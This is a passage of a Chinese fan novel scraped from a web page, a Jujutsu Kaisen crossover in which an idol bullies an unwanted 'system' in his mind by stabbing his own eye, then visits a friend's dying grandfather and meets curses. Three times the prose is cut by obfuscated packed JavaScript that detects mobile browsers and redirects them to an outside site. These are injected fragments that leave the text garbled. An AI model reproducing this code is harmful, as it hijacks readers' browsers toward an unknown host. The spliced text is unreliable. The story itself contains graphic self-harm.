开个玩笑冲淡一下悲伤的气氛?用低沉磁性的嗓音安慰“我懂,我都懂”?还是立刻买时间最近的车票冲去仙台? 否决否决,他明天还要上课呢! 不过请假也不是不行—— 如果电话对面展露脆弱的是粉丝,星野璃空早就一套丝滑的偶像小连招打出去了。 说到底,虎杖大概是唯一一个对他而言有点特殊的人类,那前面的标准答案能用到对方身上吗?会不会太过僵硬,反而显得过于敷衍了? 啊啊,所以说他真的很讨厌打电话啊! 如果是线上聊天的话,这时候只要发一个【摸摸头.gif】不就好了吗?! 如果人类的大脑是CPU,估计星野璃空此时估计已经发出了高速运转的嗡嗡声。卡顿之余,缝合怪一般的可怖咒灵从他背后爬出,畸形的翅翼犹疑着搭上了少年拿着手机的右手手腕。 回过神来的星野璃空一个激灵,手指下意识在屏幕上滑过,直接把电话给挂断了。 ——好了,这下问题解决了。 手机的荧光消失,一片漆黑的房间之中,星野璃空僵硬片刻,最终选择安详地躺回了床上。 他不知道正确的答案是什么,但这绝对是标准的错误答案。 【好可怜啊。】 “是啊。”星野璃空嘴唇蠕动,发出几不可闻的气声。 “但是,没关系哦。” “因为反正虎杖会说着‘真是够了’,然后原谅我的。” 【真的吗?无所谓的话,又是为什么露出这种表情呢?】 “……什么时候轮到你来对我刨根问底了?” 片刻挫败带来的脆弱与沮丧转瞬即逝,少年已经重新覆上假面,毫不留情地结束了与不明生物的谈心时间。 “好几天前就缠上我了吧,你这家伙。” 他抬手按着太阳穴,匪夷所思地嘟囔,“不是人类,也不是咒灵……” 难道真的像虎子说的,压力太大把自己逼疯了?没道理啊,理论上他不可能会有健康问题啊! 就在这时,脑内那个嗡鸣的“幻听”,也就是最近莫名电流声的始作俑者,以对星野璃空而言相当惹人烦的高昂态度,开始了单方面的自我介绍。 【宿主你好!这里是“美梦成真”系统,是竭诚为您服务的小天使,也是您的贴心小助手哦!】 星野璃空晃了晃脑袋,又晃了晃脑袋。 就在他开始思考自己这种情况究竟该找什么类型的医生、会不会影响一个月后的演唱会时,对此毫无察觉的“系统”,正像用棒棒糖骗小孩的怪叔叔一样,以一种传销般的诱哄语气给星野璃空画着大饼。 【还在为不受欢迎而苦恼吗?还在为没有朋友而担心吗?没关系!只要搭载“美梦成真”系统,让您渴望的一切都美梦成真!】 【本系统作为年度优秀员工,任务成功率百分百!机会仅此一次,错过不会再来!你还在等什么,快说出那句“我同意”吧!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442831|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经被吵到麻木的星野璃空双眼无神:“同意什么?” 【当然是同意绑定系统了!】 “哦,”他的语气平淡毫无起伏,“那请恕我拒绝。” 吱———— 这家伙一激动,又开始在他脑子里放电音了。星野璃空对噪声的忍耐终于到达了极限,咬牙切齿道:“我不同意!你三秒钟之内滚出我的脑子听到没有!!” 【我不会放弃说服宿主的!宿主是近年来最合适的人选!宿主目前只是对系统的存在感到害怕,所以难以接受罢了,系统理解,系统可以等!】 星野璃空沉默了一会儿。 就在系统以为对方已经妥协,至少是同意了这个“长期协商”的方案时,白发的少年重新抬起了头。 原本夜空般蓝紫色的深邃眼瞳泛起骇人的杀意,染上一层淡淡的血色。他扶着床头柜站起身来,没有开灯,而是赤着脚摸黑来到厨房,在几乎崭新的厨具中翻找,最终选中了一柄细长的剔骨刀。 系统莫名感觉有点不妙。 【宿主,宿主你要做什么?夜里不开灯小心割到——】 系统卡词了。系统电音了。 因为这个精神明显不太正常的宿主,拎着明晃晃的凶/器进了浴室,打开顶灯,在暖色的灯光照耀下,毫不犹豫地将刀尖对准了自己的眼睛。 “你在我的脑子里?” 那双让上万粉丝为之痴狂的美丽眼眸,此刻已经彻底被血色淹没。理性早已灼烧殆尽,沸腾的熔岩之中翻滚的只有狂暴与凶蛮,呼之欲出的嗜血的狂兽。 “还是说,只是见不得光的家伙在装神弄鬼呢?” “——就让我们好好看看吧。” 【你,你不要试图威胁系统!有话好好说啊!】 系统怂了。作为只服务过一个宿主的萌新系统,它是真的怕了。 它最开始还准备嘴硬一下,赌对方只是在放狠话,实际上并不敢这么做。 毕竟天上掉下来的系统也算金手指啊!不赶紧答应,反而用同归于尽来威胁系统?开玩笑,难道这条小命不要了吗? 然后它就看着明晃晃的刀刃力道十足地捅了过来,没有一丝丝收力或者演戏的打算。 【吱——!!】 系统发出了尖锐的爆鸣声。 【我真的能实现宿主的愿望,成为很多人喜欢的大明星!我很有用的,能搜集资料能实时控评,还能充当水军做数据,主人饶命啊!!!】 要不是总部说最近太多投诉,抱怨它们这样不由分说绑定、然后强制完成任务的系统都是人贩子,所以新出台规定绑定前必须取得宿主同意,事情怎么会发展到现在这个地步?! 它已经选择了这个人。各方面条件都如此符合要求,让统心生喜爱,它好不容易才搭载成功。 如果大脑被破坏,势必会伤到系统隐藏其中的本体。虽然对数据生命来说并不会真正死亡,但损失的能量、还有之前的沉没成本,对它来说也是统生不能承受之痛了。 “你很害怕这个啊。” 星野璃空拔出刀刃。剔骨刀搅动已成一团的血肉,钢铁和骨头摩擦时发出令人牙酸的吱呀声,让缩成一团的系统不由瑟瑟发抖。 完好的左眼能看到浴室喷溅状的血迹,顺着刀尖滴落的鲜血砸到地砖上,啪嗒,啪嗒,绽放出小小的血花。 他伸手打开了淋浴,冷水当头淋下,让发热的大脑冷静了一点,也顺带冲走了积血。 “现在,知道该听谁的话了吗?” 系统安静如鸡,判若两统。 【我永远是您最忠实的仆人。】 5. 临终嘱托 星野璃空闭着眼睛,倾听着哗啦啦的流水声,盖住了眼球重新生长的声音。 白噪音能让人平静。加上物理降温,他觉得自己现在就挺平静的。 他对不请自来的恶客说:“我问,你答。” 【好的主人。】 “你的目的是什么,又想用什么手段实现?” 【我们、系统的目的,只是想要收集更多能量罢了。在各个世界间穿梭,您每实现一次愿望,系统就能收集更多能量。】 星野璃空捕捉到了奇怪的关键词。他好奇地重复一遍:“世界穿梭?” 些微新奇转瞬即逝,他回想着魔法少女小○的剧情,顿时恍然大悟,而系统在他眼中的形象也随之从邪恶机器人,变成了邪恶白色大便。 “每次辛辛苦苦把水灌满,你们就要将其夺走,下个世界再给出空杯,宿主只能重新收集。是这样打白工没错吧?” 系统又电音了,它感觉自己今天紊乱的次数比诞生以来加起来都多。 而星野璃空只感觉有一坨白色大便在自己脑子里鸡叫。 【不一样的!虽然我们得到了能量,但在那些世界,宿主是切切实实地实现了梦想啊!】 “闭嘴。” 【是主人。】 “我对那些东西没有兴趣,你可以滚了。” 系统无声落泪。 它也很想丝滑地离开啊!然而能量不够,它连抽身都做不到! 数据也好,愿望也好,明明都是比照着第一任宿主来的,为什么,为什么会变成现在这样? 难道它从今往后就过上了三天(划掉)三分钟被骂九顿,只能低声下气应是的日子,直到几十年以后跟着这个短寿的人类一同去世? 想到这里,系统是真的破防了。 了解这个宿主的极端性格之后,它倒是不鸡叫了,只是抽抽搭搭地试图挽救。 【我很有用的,穿梭时间、逆转时空,而且经过系统锻炼,宿主绝对能——】 星野璃空察觉了来自“自身”的波动,或许只是数据流的传输,却散发着负面情绪的气息。 悲伤,懊悔,无可奈何。 虽然比起人类来转瞬即逝,微小到宛如水滴之于骤雨,但依旧切实存在过。 “你没有预料到这种发展,你很想离开,但是做不到。” 他打断了系统的碎碎念,尾音轻缓地挑高了。 “所以,你的价值就只剩下在我脑内制造噪音了,是吗?” 眼看这个危险人物又一次拎起了那柄尖刀,系统连尖叫都叫不出来了,直接安详躺平。 麻了,爱咋咋地,直接重开吧。重开一次就能摆脱这个让统心惊胆战的宿主,未尝不是一件好事。 但星野璃空只是离开浴室,重新把那把刀“咣当”一声丢回了厨房的台面上。 他对着镜子打量自己的眼睛。视力已经基本恢复,但是新生的眼球上弥漫着几缕血色,估计还要些时间才能彻底吸收。 长时间的沉默之后,他突然开口。 “给我订一张去仙台的车票,马上。” 系统呆呆道:【……啊?】 宿主的声音顿时又充斥着危险的恶意:“说了那么多大话,居然连这点用都没有吗?” 【没有没有,啊我是说当然不是!】 意识到转机的系统大气都不敢出,屁滚尿流地奉上车票。【给您订了夜间巴士,明早七点就能到仙台了!】 星野璃空随手扯了条毛巾擦干头发,换了套干爽的衣服,披上外套,径直出了门。 夜间巴士。嗯,睡一觉,醒了就能见到虎杖了。 和智障系统扯皮没什么难的,反正他大获全胜。即使输了也没什么好可惜,这种东西,如果不是送上门来,他都懒得抬一抬眼皮。 但是虎杖悠仁不一样。 就是因为不一样,所以孤独、脆弱、依靠……都会让他如临大敌。 生怕一个应对不当,会直接导致这份以假面维系的关系原形毕露,瞬间跌入无可挽回的深渊。 ——而与此同时,却又克制不住暴露出一点小小的尾巴,期待着对方能够全然接受、毫无芥蒂。 坐在大巴上,星空璃空以手覆面,遮挡住对面车辆照过来的刺眼远光灯,嘴角自嘲地勾了起来。 有用吗? 自作多情罢了。 再多的虚假伪饰,也抵不过赤裸裸的真相。 更何况,在他面前,你可表现得不怎么讨喜。 双目紧闭的星野璃空皱着眉头。从牙关里挤出低声的喃喃:“闭嘴。” 系统茫然道:【我没说话啊?】 “……不是说你。” 萦绕在灵魂中的低语被白痴系统的插话打散了,疲惫却挥之不去,如影随形。星野璃空戴上口罩,拉低卫衣帽檐,焦躁地等待来之不易的睡意。 【眼睛已经恢复了?好厉害!宿主到底是什么种族?最初搭载时鉴定还失败了一次,最后用了通用模式才——】 “我再说最后一次,闭嘴。” 面对仿佛从地狱中传来的幽深低语,系统丝滑地开启了静音模式。 过了许久,就在它以为宿主早就陷入深眠、开始偷偷在系统内部论坛上发帖求助“救命家统们,不小心绑到变态了怎么办,他说他不想跟我回家”时,周遭飘落了梦呓一般,一触即散的轻语。 “是人类。” “星野璃空,是彻头彻尾的人类。” * 笃笃笃。 敲门声响起时,虎杖悠仁是很疑惑的。他独居,又没有订牛奶或报纸,家里一年半载都没有访客,很难想象究竟是谁早上七点多就来敲门? 揉了揉乱蓬蓬的粉色短发,虎杖悠仁强打精神,应着“来了来了”跑向客厅。 状态相较平时有点低落。好不容易打开心扉倾诉一下,结果被幼驯染毫无预兆地挂了电话——如果这都能毫不在意美美入眠,他自认还没有没心没肺到那个地步。 直到打开门之前都有点蔫蔫的,这家伙在想什么,星野璃空简直一眼就看出来了。 一边有点伤心“为什么会这样”,一边又有些忐忑“我不会越界了吧?” 奇怪,虎杖这样活力四射的元气小天使,怎么会这么在意他人的感受、担心令他人受伤呢? 明明只要我行我素,就能够自然而然被许多人喜欢了啊。 “啊,啊?Riku酱?!” 星野璃空无视下巴掉下来一副蠢样的虎子,侧身进门,一头栽倒在沙发上。 “别那么叫我……在车上一晚上没睡好,困死我了。” 即使闭着眼睛,也能感受到一旁传来的震动。虎杖同样一屁股坐在沙发上,似乎有点不知所措,在一旁兴奋地问东问西。 “诶,怎么突然跑过来,高中不习惯吗?”他天马行空地猜测着,完全依照自己的喜好,“请假了?还是要转学回来?!” “没啦,别说这些屁话。”眼看他越说越夸张,星野璃空终于忍无可忍地打断,“都跟你说了在学校很好。” 因为不好的要素都被他处理掉了,所以当然很好。 “那回来是因为……” 星野璃空淡淡道:“你说呢?” 周围彻底安静了。 他懒得睁开眼睛,只是翻了个身,以实际行动表示自己要补一会儿觉。 “我只能陪你一天。我那边也正是关键时期,灯光和伴舞都需要磨合。今天还打算去上学吗?” 他暗示得很明显了。你一句好孤独哦我就大老远跑过来陪你了,你怎么好意思抛下远道而来的友人,坚持上一整天可有可以的课呢? 果然,虎杖悠仁大声道:“不去了,不去了!我去跟老师请一天假!” 虎子快乐地跑开了,隔壁传来了电话的拨号声。星野璃空满意地哼了一声,又在沙发上翻了个身。 他觉得自己的技巧更上一个台阶,总有一天能把虎杖悠仁玩弄于指掌之中。 短暂的通话结束,虎子又噔噔噔地跑回来,在一旁嘘寒问暖。 “我请完假啦,你要不要先吃点东西?冰箱里有布丁哦!或者去卧室休息好了,反正主卧也没人睡……” “我休息十分钟就好,不用那么麻烦。” 白发的少年眯着眼睛,委委屈屈蜷在沙发上,宛若一只困倦的猫儿,“倒是你,想好今天要做什么了吗?” “嗯——” 仙台本来就是二人的家乡,璃空也只离开了一个多月,完全没有出现什么值得一看的新鲜玩意儿。虎杖悠仁开动小脑瓜思考了一会儿,最终还是有些不好意思地提出请求。 “那,能陪我去看望一下爷爷吗?” “他住院很久了,每次都嚷嚷着不准我过去,要多参加社团活动和人相处。我知道他是个脾气很差的怪老头儿啦,”少年的声音越来越低,“但是,星野能和我一起去的话,爷爷一定会很开心的。” 星野璃空勉强撑开眼睛,因为困倦,眼前的场景变得光怪陆离,便成了模糊的色块。 他注视着眼前飘浮着的粉色的一团,像是对待医院里的那些患儿一样,敷衍地抬手揉了揉——大概是蹲在沙发前的虎杖的头顶。 硬硬的,有点刺人。 “好啊,”他轻声说,“等我睡醒了,我们就一起去吧。” * 与此同时,系统内部论坛已经吵翻了天。 【“是人类”?他真的这么说?】 【那绝对不是人类了。默哀.jpg】 【萌新不懂就问,非人类宿主不好吗?至少很难杀啊】 【可是我们的数据库都是来自人类,我们的程序是根据人类设定的。。根本没有应对非人类的经验啊】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442832|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【是啊,你看楼主不就栽了吗。前统踩坑,后统绕路啊】 【绕路+1】 【绕路+2】 【别绕了,贴主要气死了。贴主你好歹也是一星系统啊,上个任务成绩不错,怎么就想不开了呢?】 【QAQ没有想不开!绑定前他看起来是人类,检测起来是人类,DNA也是人类啊!一切标准都是比照上个宿主来的,我也想不通怎么会这样!】 【呃,真是人啊】 【种族认知障碍?】 【楼上不要乱猜,会不会只是有异种血统,或者特殊职业适性?我见过的个别人类还能一拳打爆一颗小行星呢,那也还是人类啊】 系统醍醐灌顶!系统恍然大悟! 它感激地回复点醒自己的三星大佬:【哦哦对啊!都怪我,被他吓到了就被带跑偏了,还以为他真是怪物呢哈哈哈】 或许只是普通的变态而已呢?! 大佬好奇地问:【他做了什么?】 系统如实回答,然后得到了大佬的沉默。 大佬:【你做好心理准备吧】 ?什么准备,准备什么? 茫然的系统再敲过去,发现自己已经被大佬拉黑了。 大佬还改了主页简介。 【任务中,倒霉蛋退散!!!】 * 虎杖悠仁的爷爷虎杖倭助,已经在杉泽医院住院很久了。 还未走进病房时,星野璃空就已经隔着门扉嗅到了老人身上浓重的死气。 或许就在这一两个月之间吧。 他眼角余光瞥见虎杖沉凝的侧脸、紧抿着的唇角,什么也没有说。 粉发的少年上前拉开病房门,依旧是一副活力满满的样子。 “爷爷,我带人来看你了哦!” 尽管生命快要走到尽头,老人的嗓门依旧中气十足,如同炸雷般在病房内骤响。 “你个臭小子,逃课是吧?!看我不把你——” 跟在虎杖的身后,怀抱鲜花的星野璃空随之走了进来。老头像是被谁掐住了喉咙一般,吼声硬生生掐灭了。 “您还是这么有精神呢。” 星野璃空挂着有些无奈的微笑,打完招呼之后,便把新鲜的花插进窗台上的花瓶里,替换下已经有些枯萎的上一批,给病房增添些许生气。 “是璃空啊。” 被吓了一跳的老头瞪了眼在一旁嘿嘿傻笑的孙子,尽量用较平时更小的音量咕哝道,“怎么突然回来了?你不是去东京了吗?我可不想给别人添麻烦啊。” 收拾好花瓶,星野璃空从一旁的果盘里拿了个苹果,坐在一旁慢慢削着。 “怎么会是麻烦?要说的话,添麻烦的也是虎……是悠仁吧。” 老头的眉毛登时又立了起来,再次瞪视一旁满脸心虚的孙子。 “他?他又怎么了!” 接下来便是一通上年纪老人特有的絮叨,结合他天生的大嗓门,不如说是吼叫更为恰当。 从虎杖不听他的话乖乖留在学校参加社团活动,而是非要每晚跑到医院来浪费时间;说到虎杖小时候提着珍贵的零食去找星野璃空玩,结果一边走一边吃还没走到地方就吃完了,急得跑回家抱着他的腿哇哇大哭。 爷爷说到兴起,面色发红的虎杖悠仁完全打断不了施法,只能无力地喊着“爷爷!”“哪有”徒劳地站在一旁。星野璃空认真地充当捧哏,一同加入对可怜友人的嘲笑之中。 但在这样的欢声笑语中,不知为何,病房的气氛越来越沉重了。 大家像是在上演心知肚明的戏码,终于,舞台剧落幕。病床上的虎杖倭助率先敛去了笑容,片刻令人不适的寂静之后,他摆摆手,示意孙子赶紧滚蛋。 “出去,我有话要和璃空说。” 病房门重新关上。仅有两人的房间内,风烛残年的老人紧紧盯着垂眸的星野璃空,而白发的少年正低头把削好的苹果切成易入口的薄片,瓷白的指尖沾满了金黄色的蜜汁。 “可能有些突兀,但是,反正也是最后一次了。” 虎杖倭助此时的神态,与其说是长辈自上而下的安排,更像是某种恳求与希冀。 “我一直都把你当做半个孙子看待……接下来,就要拜托你照顾悠仁了。” 星野璃空凝视着对方身上飘出的线。 红色的。喜爱,温情。 黑色的。怀疑,还有恐惧。 他有所猜测啊。星野璃空恍然——但最终还是什么也没有说,只是把珍视的孙子交给了他。 于是,少年也同样像普通后辈般乖顺点头,在老人的注视下,做出了一丝不苟的承诺。 “我会照顾好他的。” 这是由长辈主持订立的诺言哦。 那个声音在他的灵魂深处吃吃窃笑。 【虎杖悠仁】,从今天开始,就是我的所有物了。 6. 迎面遭遇 离开医院的时候,虎杖悠仁的心情很不错。 爷爷至少暂时看起来很健康,又对自己大吼大叫了一通;幼驯染因为自己一句似是而非的撒娇,就翘了视若性命的演唱会(并没有),不远千里特地赶来陪伴自己;另外肚子不太饿,身体也非常健康。 他觉得自己算是很幸福了。 头上飘着小花花,他好奇询问一旁的星野璃空:“爷爷都跟你说什么了?你看起来也挺开心的啊。” 对方轻描淡写,一语带过。 “哦,说是把你交给我了。” 不理会虎杖头顶的问号,星野璃空换了个新话题。 “说起来,虎杖有没有想过转学去我那边?” 无所谓吧。把他牵绊在这里的,也只剩下爷爷而已。 为了逃避独自一人的孤独而靠近他人,这不是人类的本能吗。 于是思来想去,虎杖悠仁给出了比较含混的回答:“等这学期结束再说吧。” 潜意识里,他还是不愿思考关于爷爷逝去的事情。 善解人意的星野璃空表示尊重理解支持,只是道:“那等你准备好了,再联系我吧。” 在路边的快餐店里解决了午饭,点了不加酱的牛肉汉堡,然后把套餐里的薯条和小甜点投喂给虎子,后者相当习惯地说着“我开动了”一口气吃掉。下午去初中附近逛了逛,因为刚毕业不久,还有几个熟识的店铺老板记得他们,依依不舍地送了二人小礼物,然后握着星野璃空的手不肯松开。 “加油啊Riku酱!”年过五十的秃顶老板眼泪汪汪,简直快要在脸上写着“真爱粉”三个字,“你是仙台的骄傲,大家都会支持你的!” 场面过于滑稽,虎杖简直要噗嗤一声笑出声来。他紧抿嘴唇偷偷去瞥友人的表情,却发现对方的神态相当认真,正向着老板真诚地微微躬身。 “非常感谢!山本店长从初中开始就关注着我,是Riku_Official最早的粉丝,也是我偶像事业的基石。我会继续加油的,请尽情期待下个月涩谷的【夏日焰火】吧!” 老板不止眼泪汪汪,简直快要当场哭出来了。 于是离开这条街的时候,两人不但收获了几乎拿不下的大桶爆米花、毛绒挂件、鲷鱼烧,还得到了许多“一定会去支持!”的承诺。 虎杖往嘴里塞了一大把爆米花,心满意足地感慨:“当偶像真好啊。” 这种裹满焦糖的堕落食物星野璃空是不吃的,他斜了眼腮帮子鼓囊囊的虎杖:“想出道?” “唔——” “我不允许哦。” “诶?” “因为爷爷把虎杖托付给我了吧?”星野璃空歪歪头,“要乖乖听话才行。” 虎杖悠仁发出意义不明的咕哝声,开始进食更多的爆米花。对于边界的初步试探成效斐然,星野璃空内心满意点头,举起手中的毛绒挂件,在路牌下拍了一张。 【来自:Riku_Official】 【配文:初期粉丝送的礼物,好开心=) 我会加油的!】 【配图:照片】 是时下流行的Jellyc○t,头顶有三根红蜡烛的小蛋糕顶着无辜的豆豆眼,表情呆萌,伸出的两只小脚上穿着可爱的棕色小靴子。背景里还能清晰地看到不露脸的某人抱着的爆米花,以及一旁探头探脑的鲷鱼烧。 虎杖的手机“滴答”响了一声。他摸出来瞅了瞅,顿时睁大眼睛:“哇哦,我也在上面耶!” ……星野璃空懒得搭理傻乐的虎子,估算了一下时间。道边的树木蒙上一层暖光,影子渐渐拉长又逐步消失,不知不觉,已至黄昏。 “我要走了。”他简单地说,“送我去车站吗?” 虎杖脸上的快乐闪了闪,然后像逐渐隐去的日光一样黯淡消失了。 “这么快啊。” 无声的叹息转瞬即逝,不想再徒增担心,他随即打起精神,露出和平常别无二致的笑容。 “那就出发吧!” 没有依依不舍的告别,只是在站台前的简单挥手。星野璃空径直上车,坐定之后发了会儿呆,才想起来遗忘了什么。 高铁沿轨道平稳飞驰,他掏出手机,给虎杖发消息。 【下个月的演唱会要来吗?】 打量一遍又逐字删掉,改成了【演唱会要带人来吗?给你留了内部票】 看了又看,满意地发送。 这样就没有拒绝的余地了吧。 虎杖没有立刻回复,看来还在回家的途中,大概率没看手机。 他又刷了会儿社交媒体,高强度自搜“星野璃空”,还好目前他连正式出道都算不上,又始终谨言慎行,没有什么大的节奏,依旧是那个平平无奇的小明星。 三万多个粉丝,放在偌大的互联网甚至查无此人,连个水花都掀不起来。 之前的评论嘲讽他“靠脸吃饭”,也是因为星野璃空运营账号以来,发布的视频都是翻唱翻跳,没有自己的原创歌曲。 但拼盘演出可以唱他人的歌敷衍过去,个人演唱会可就是真正展示才华的地方了。 对于花期短暂、竞争激烈的地下偶像来说,有一首乃至几首质量过硬的原创歌曲,甚至发布独立专辑,那才算是以“偶像”的名义正式出道,从此走入大众视野之中。 星野璃空,接下来要迈过的就是这道门槛。 要么一鸣惊人,迅速蹿红成为家喻户晓的超级偶像;要么跌落谷底,在无人在意的角落中安静地死去。 对名为星野璃空的少年来说,没有第三种选择。 他从口袋中掏出随身携带的小圆镜,认真观察着自己的眉眼。 偏滚圆的猫眼,眼角微微上挑,像是时刻都在惊叹一般,显得天真又狡黠。之前的血丝早已被吸收掉了,在浅色的睫毛映射之下,眼瞳宛若天空中铺开了大片薰衣草,丝绒上闪着光的名贵宝石。 因为粉丝不遗余力地赞美,所以星野璃空也相当喜欢。 对他来说,就像武士擦拭刀剑、狙击手保养枪械一般的平常举止,引得身后的座位上飘来了满怀恶意的嘶声。 “愚蠢的虫子……只知道摆弄那副毫无用处的脆弱皮囊!” 星野璃空头也不抬,镜子变幻角度扫了眼身后的乘客,这才慢腾腾地收起,重新塞进了衣兜当中。 一旁身着五条袈裟的黑发僧人眼睛微眯,自言自语一般低喃,语气倒是相当温和。 “猴子嘛,是这样的。不过在新干线上发作的话,可是会招来五条悟的,暂且忍忍吧。” “猴子”默默塞紧耳机,戴上兜帽,帽檐用力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442833|185040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉到眼睛以下,靠着窗户摆好姿势,表示“我已经睡着了”。 这下身后的漏瑚更气了。激动之下,甚至整个车厢的气温都飞快升高,引得一旁的乘客茫然四顾,试图寻找故障的空调出风口。 “这种咒力都没有的生物,有什么存在的必要吗?” 头顶的火山口岩浆四溅,堪堪没有溢出。咒灵像是想到什么好主意般,突然咧嘴一笑,露出了满口漆黑的牙齿。 “既然如此,就毁掉——” 就毁掉他那张引以为傲的脸吧。 这样的话,就不会再这样肆无忌惮地行走在地面上了吧。简直像在挑衅他这个真正的“人类”一样! 然而话刚出口,原本一副“啊我睡着了”样子的少年突然起身,脚步飞快地走向了车厢与车厢的连接处,估计是去上厕所。 ……漏瑚更烦了。 他才不想为了去追区区普通人类挪动自己尊贵的屁股,对方侥幸跑了还穷追不舍,只会显得自己这个咒灵很掉价。 “幸运的家伙。” 他嘀咕着,原本挺直的脊梁又靠回了椅子背上。 一旁的僧人笑着安抚:“常有之事罢了。” 指尖在袈裟边缘滑动,男人朝着幸运儿离去的方向投去略带兴趣的视线。 是感觉敏锐吗,还是运气超常? 算了,无所谓。 当前计划的重点,还是要放在五条悟身上。为了达成这个目标,要发展更多强大的同伴才行啊。 * 终于有惊无险地到达了川崎。 星野璃空之后没有再回到那个车厢,他在过道中远远观察,那名咒术师和危险的咒灵在东京站下车了。 ……真是麻烦。 对于这些总是在见不得光的地方阴暗爬行,密谋搞些大动作的家伙,星野璃空唯一的感觉就是,麻烦。 他只要远远绕开就好,一点都不想沾染。 偶像事业的发展如火如荼,职业生涯正处在关键时期。不论如何,他都是最讨厌意外的那种人。 所以安全下车的时候,星野璃空不由自主松了口气。 在熟悉的城市好像就是要更加放松,他在街道上漫步,准备给虎杖发一条安全到达的短信。 深夜的街道如此安静,只能听到自己的脚步声。春夏之交天气多变,不知何时飘起了幽幽夜雨,虽然只是断续飘零的雨丝,但这股恼人的湿意,依然促使星野璃空加快了脚步。 脚下突然踢到了什么东西,迫使他的注意力从手机上移开。 这是,尸体……? 颜面部整个扭曲变形,四肢被诡异地拉长,躯干部位像是被顽童随手捏过的棉花糖一样,化作了惨不忍睹的不规则状。 惨剧的始作俑者正光明正大蹲在一旁,大咧咧地伸手戳着这具形状凄惨的死尸,似乎正试图让它产生更为有趣的变化。 那当然是不可能的吧。 随意蹲着的青年身姿纤细,三条随手扎起的浅蓝色发辫垂落在身后,裸露在外的皮肤苍白不似人类,其上密布着肉眼可见的缝合线,一望即知的诡异。 此时此刻,他已经朝着僵立原地的星野璃空抬起头来,一蓝一灰的眼瞳闪烁着孩童一般、天真而兴味十足的光。 “啊,又有新玩具了。” 7. 猫与老鼠 星野璃空第一时间抬头,检查四周有没有监控摄像头。 还好,路段偏僻,没有发现。 就算被录了下来,夜幕沉沉、阴雨连绵,他又严严实实带着帽子和口罩,大概率无法判断身份。 于是星野璃空把手机收了起来,双手插兜,淡定地转身离去。 他决定换条路走,假装自己今晚根本没来过这里。——这样撤回存在的话,后面也能免于被警视厅的家伙们缠上。 缝合线咒灵一怔,随即起身追了上来,还自来熟地伸手去搭星野璃空的肩膀。 “很淡定嘛,小哥。看见同类的尸体也没什么反应,是根本没意识到吗?你还挺有意思的呢!” 有趣的玩具,也能稍微玩久一些吧? 即使星野璃空在正常范围内尽量加快了脚步,还是免不了被对方缠上。他不是不想赶快离开,只是更不想让咒灵察觉到自己“能够看见”。 根据他的经验,这些家伙一旦发现自己能够展露存在感,就会变得没完没了。 而那个蓝发的咒灵,大概是失去了兴趣,脚步也确实停下了。 他身后的雨幕之中,刚诞生不久的真人呆滞地看看自己收回的右手,再看看前面快步前行的少年。 【无为转变】已经发动了啊……? 虽然他确实抱着“多玩一会儿”的念头,但是怎么会没有反应? 不信邪的真人一个跳跃跟上对方,再次把手掌拍了上去:“【无为转变】!” “【无为转变】!” “无为——” 诞生于人类对人类的恐惧,甫一出生就是特级的咒灵,真人,有点破防了。 作为刚刚出世的诅咒,他实际上还是个稚嫩的婴孩。刚刚花了一段时间,搞清楚自己身处的世界如何运行、人类对自己而言又意味着什么,就立刻开始试验与生俱来的术式了。 对咒灵而言,这几乎是它们与生俱来的本能。但应用方式产生的不同效果,就只能在实战中慢慢研究改进了。 所以怀抱着对崭新世界的好奇,尤其自己手中还有能与之交互的强力技能,真人立刻就兴冲冲来到了大街上,准备横空出世,大展拳脚。 首先,要抓一个倒霉蛋! “【无为转变】。” 唔,他已经完全明白了.jpg 快看,第二个倒霉蛋登场了! 等一下!怎么会……没有效果? 尝试无数次都是同一个结果,真人呆立在原地,感觉大脑有点过载。 眼看那个毫无异样的少年已经来到了大路上,快要汇入人流之中,崩溃、烦躁和不安终于过载,让青年俊秀的面庞扭曲成触目惊心的骇人模样。 “可恶!我不相信,我不相信!!” 他脚下发力,向着不远处的人群冲刺,发誓要拿这群拥挤的虫子好好试验一下,看看到底是怎么一回事! “……麻烦。” 满含厌恶的清晰低语,就在此时传入了脑海。 人群之中的少年终于侧过身来,隔着嬉笑吵闹的人流、窸窣飘落的细雨,冷冷回望。 ——那是双璀璨如同星云的眼眸,让人一见之下再难忘怀。 真人眨了眨眼睛。 原来你能看到我啊。 喜悦之类的情绪在胸腔中一闪而过,让玩耍的欲望空前高涨。他刚准备跑过去“打个招呼”,忽然发现,身体似乎不受控制了。 明明想要朝着对方奔去,但却飞快转身,折回了方才的阴暗小巷中。他有些发懵,紧接着眼睛一亮,因为那个之前避自己如同蛇蝎的白发少年,已经慢腾腾地走了过来。 真人朝着对方欢快挥手,这次成功了,身体的掌控权已经又回到了他的手里。 